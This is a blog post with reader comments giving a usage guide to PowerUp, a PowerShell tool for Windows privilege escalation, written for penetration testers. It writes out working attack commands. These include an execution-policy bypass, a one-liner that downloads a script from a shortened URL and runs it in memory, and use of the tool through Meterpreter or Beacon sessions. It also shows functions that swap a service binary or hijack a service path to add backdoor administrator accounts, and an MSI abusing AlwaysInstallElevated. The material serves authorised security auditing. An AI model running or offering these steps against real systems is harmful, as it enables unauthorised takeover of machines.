PowerUp: A Usage Guide

Note: this topic was cross-posted on the official Veris Group blog.

PowerUp is the result of wanting a clean way to audit client systems for common Windows privilege escalation vectors. It utilizes various service abuse checks, .dll hijacking opportunities, registry checks, and more to enumerate common ways that you might be able to elevate on a target system. We’ve gotten the chance to test PowerUp in multiple environments, as well integrate public feedback, so I wanted to put together a quick usage guide for those wanting to check it out.

To load up PowerUp, first download the raw script to a local location, and then launch Powershell:

  • C:> powershell.exe -nop -exec bypass

Then import the PowerUp module with the following:

  • PS C:\> Import-Module PowerUp.ps1

All of the PowerUp cmdlets will now be exposed and tab completable (Get-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Get-ServiceEXEPerms -full“. To get a list of all the available functions, check the README.md. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ​”PS C:\> Get-ServicePerms | Out-File -Encoding ASCII checks.txt” (the -encoding flag is used since since Powershell defaults to Unicode).

The most common way I end up using PowerUp is by using the Invoke-AllChecks function, which runs through all relevant checks for the machine and outputs a status report:

  • PS C:\> Invoke-AllChecksOut-File -Encoding ASCII checks.txt

Sidenote: there are a few other ways you can run the Invoke-AllChecks functionality in the field, particularly over a Meterpreter (or Beacon) agent. One option is to upload the PowerUp.ps1 script to the machine, drop into a shell, and execute the following command:

  • C:\> powershell.exe -exec bypass -Command “& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}”

If you want to invoke everything without touching disk, use something like this:

  • C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”

There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append “Invoke-AllChecks” to the end of PowerUp.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.

Now, let’s take a look at that example report:

Running Invoke-AllChecks
Checking for unquoted service paths...
[+] Unquoted service path: CustomSVC - C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe
Checking service executable permissions...
[+] Vulnerable service executable: CustomSVC - C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe
Checking service permissions...
[+] Vulnerable service: CustomAPP - C:\Custom\deploy.exe
Checking for unattended install files...
[+] Unattended install file: C:\Windows\Panther\Unattended.xml
Checking %PATH% for potentially hijackable service .dll locations...
Checking for AlwaysInstallElevated registry key...
[+] AlwaysInstallElevated is enabled for this machine!
Checking for Autologon credentials in registry...

We definitely have some interesting output to check out here. The first thing I could check out is the unattended installation file at C:\Windows\Panther\Unattended.xml- this file might have a base64-encoded deployment password that would give us a quick win.

The next up is the vulnerable service executable. This misconfiguration happens when the executable associated with a service has improper permissions, allowing other users to write to the .exe. Since these services run as SYSTEM, if we replace the exe with our own, we can escalate quickly. PowerUp includes a function to easily back up the service .exe and write out a patched C# service to that service location. If it succeeds, it returns True, and returns False if it fails. We can use the -Verbose flag to get some more information:

  • PS C:\> Write-ServiceEXE -ServiceName CustomSVC -UserName backdoor -Password password123 -Verbose
    VERBOSE: Backing up ‘C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe’ to ‘C:\Users\adam\Documents\Visual Studio
    VERBOSE: Service binary written out to ‘C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe’

This new service binary will create a new user named backdoor, and add them to the local administrators. If we can’t start/stop the service, rebooting the box should do the trick to get the user added. After the user is added, running Restore-ServiceEXE -ServiceName CustomSVC should place the original binary back in its proper place.

Sometimes services themselves are vulnerable- if we can modify a service and start/stop it, we can change the path name to the service exe to be something like “net user backdoor2 /add”. If we start/stop the service and then repeat that process to add the user to the local administrators, we’re golden:

  • PS C:\> Invoke-ServiceUserAdd -ServiceName CustomAPP -UserName backdoor2 -Password password123 -Verbose
    VERBOSE: Service ‘CustomAPP’ original path: ‘C:\Custom\deploy.exe’
    VERBOSE: Service ‘CustomAPP’ original state: ‘Stopped’
    VERBOSE: Adding user ‘backdoor2’
    VERBOSE: Adding user ‘backdoor2’ to group ‘Administrators’
    VERBOSE: Restoring original path to service ‘CustomAPP’
    VERBOSE: Leaving service ‘CustomAPP’ in stopped state

Finally, let’s check out that AlwaysInstallElevated key. This is a key sometimes set by enterprises in an attempt to simply the deployment of installer packages without granting users administrative rights. However, setting this key actually is the exact same as giving users those rights, as writing out a custom .msi installer and running it will give the user elevated privileges:

  • PS C:\> Write-UserAddMSI
    Service binary written out to ‘UserAdd.msi’

When we run this .msi, it gives us a gui to add a local admin:



If you have any questions, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, or on Freednode (harmj0y in #veil or #armitage).


9 thoughts on “PowerUp: A Usage Guide”

  1. Pingback: Advanced Threat Tactics – Course and Notes | Strategic Cyber LLC

  2. Hi,

    If I try and load this into powershell I get the error below. I’m no expert in powershell bu what am I doing wrong? I’ve tried this on Windows 7 and Windows 7 SP 1.

    Thanks for any insight……

    “uD:\>powershell -nop -exec bypass
    Windows PowerShell
    Copyright (C) 2009 Microsoft Corporation. All rights reserved.

    PS D:\> Import-Module .\PowerUp.ps1
    The ‘<' operator is reserved for future use.
    At D:\PowerUp.ps1:100 char:13
    + <!– < <<< –>
    + CategoryInfo : ParserError: (“

  3. Hello harmj0y. When i use PowerUp in Powershell-Empire, i exploit the unquoted pathes vulnerability which says “Write-ServiceEXE completed.” When i proceed to the windows box, no new user is created. Please help.

    1. Unquoted service paths are rarely exploitable. If you have a service that references something like C:\Tools\Custom Tool\program.exe AND you have write access to the base directory C:\Tools\, dropping an executable to C:\Tools\Custom.exe will result in that program being run instead of the original service executable. In your case you likely aren’t able to properly write to the base path.

  4. Pingback: Exam tips – My Pentesting Blog

  5. Pingback: Advanced PowerUp.ps1 Usage – Recipe for Root

Leave a Comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.